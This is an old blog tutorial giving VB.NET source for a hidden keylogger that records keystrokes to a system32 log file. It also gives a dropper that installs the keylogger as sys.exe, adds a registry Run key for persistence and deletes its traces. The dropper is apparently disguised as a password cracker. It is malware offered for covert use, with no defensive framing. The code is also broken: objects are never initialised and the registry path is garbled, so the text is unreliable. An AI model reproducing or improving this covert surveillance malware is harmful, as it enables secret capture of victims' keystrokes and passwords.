Creating a simple key logger
By Dat Hacker
VB Required
First of all you need to make a extractor for your virus name it simple keylogger extractor:
Now create a keylogger, make it have 0% opacity and create a textbox named textbox1 and a timer named timer1, set the timer to an interval of 1 and enable it, now add this coding:
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = Chr(i)
End If
Next i
Dim filetxt, getname, path, filesys
path = filesys.GetPathName("C:\windows\system32\log.log")
getname = filesys.GetFileName(path)
filetxt.WriteLine(TextBox1.Text)
filetxt.Close()
TextBox1.Text = ""
End Sub
End Class
There will be “Warnings” ignore them as they will not interfere, now save this, compile it and go to the debug area (c:\users(or documents and settings)\username\documents \Visual Studio 2008\Projects\simple keylogger\simple keylogger\bin\Debug
Here you will find an exe that will be the program, rename it sys.txt and copy it to your desktop, now open simple keylogger extractor, create 2 textboxes leave the names as textbox1 and textbox2, and make them multiline. Make the opacity 0% and and copy this text to the file:
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Shell = CreateObject("wscript.shell")
shell.run("c:\windows\system32\reg.reg")
shell = Nothing
shell = CreateObject("wscript.shell")
shell.run("c:\windows\system32\sys.exe")
shell = Nothing
Dim filetxt, getname, path, filesys
path = filesys.GetPathName("C:\windows\system32\reg.reg")
getname = filesys.GetFileName(path)
filetxt.WriteLine(TextBox1.Text)
filetxt.Close()
path = filesys.GetPathName("C:\windows\system32\sys.exe")
getname = filesys.GetFileName(path)
filetxt.WriteLine(TextBox2.Text)
filetxt.Close()
Dim shell
Me.Close()
My.Computer.FileSystem.DeleteFile("passwordcracker.exe")
My.Computer.FileSystem.DeleteFile("c:\windows\system32\reg.reg")
End Sub
End Class
Now set the textboxes, textbox1 should have the text:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run]
"sys"="c:\\windows\\system32\\sys.exe"
And textbox2 should have the text you generated from your keylogger (just copy the text)
The program should run successfully, feel free to change scripting around
Subscribe to:
Post Comments (Atom)
About Me
- BBTUNA
Blog Archive
-
▼
2010
(41)
-
▼
February
(41)
- Change The Default Location For Installing Apps
- Closing Open Holes, System Security How to close o...
- Create An Ftp Server On Your Pc With Serv-u
- Easily Find Serial Numbers On Google
- How To Find Ftp's The Easy Way
- HowTo: Create a Reverse SSH Tunnel
- Show apps that use internet connection at the moment
- How to install, configure and work a LAMP stack wi...
- Creating a simple key logger
- How to make a hidden user account
- Locking and Hiding Hard-Drives
- Batch Files
- Securing your PHP code
- Bypassing login scripts with SQL Injection
- How to hack boost mobile
- Hacking phpBB 2.0.19 or lower by stealing cookies
- JavaScript Injection
- Bypassing Web Filtering Systems
- Obtaining The Administrative Account
- Packet Generator
- Acer Aspire One BIOS Recovery
- Howto: Ubuntu Linux convert DHCP network configura...
- How to Setup SSH Server in Windows with freeSSHd
- Bypass Windows Vistas and Windows 7’s Reduced Func...
- Setup Linksys Router With Radius Server Authentica...
- Twitter Security Cam
- Connect USB Drive to VMware ESX Server
- How to Create an Internet Kiosk in 10 Easy Steps o...
- Install Squid Proxy Server on CentOS
- VNC ( Virtual Network Computing ) on CentOS
- How to trunk ports on a Cisco Switch
- Linux Kiosk system
- Trunking ports on switches
- How to disable Last Logon Name in Windows 2000,XP&...
- Metasploit 3.2 VBA Support for generating payloads
- Installing NaviAgent on ESX 3.x and 3.5x
- How to Convert a Video Into a Gif Animation
- VMware ESX storage: How to get local storage to ac...
- How to Install and Configure DHCP Server in Ubuntu...
- Aircrack-ng on the MAC
- Reflashing FON Fonera 2200
-
▼
February
(41)
0 comments:
Post a Comment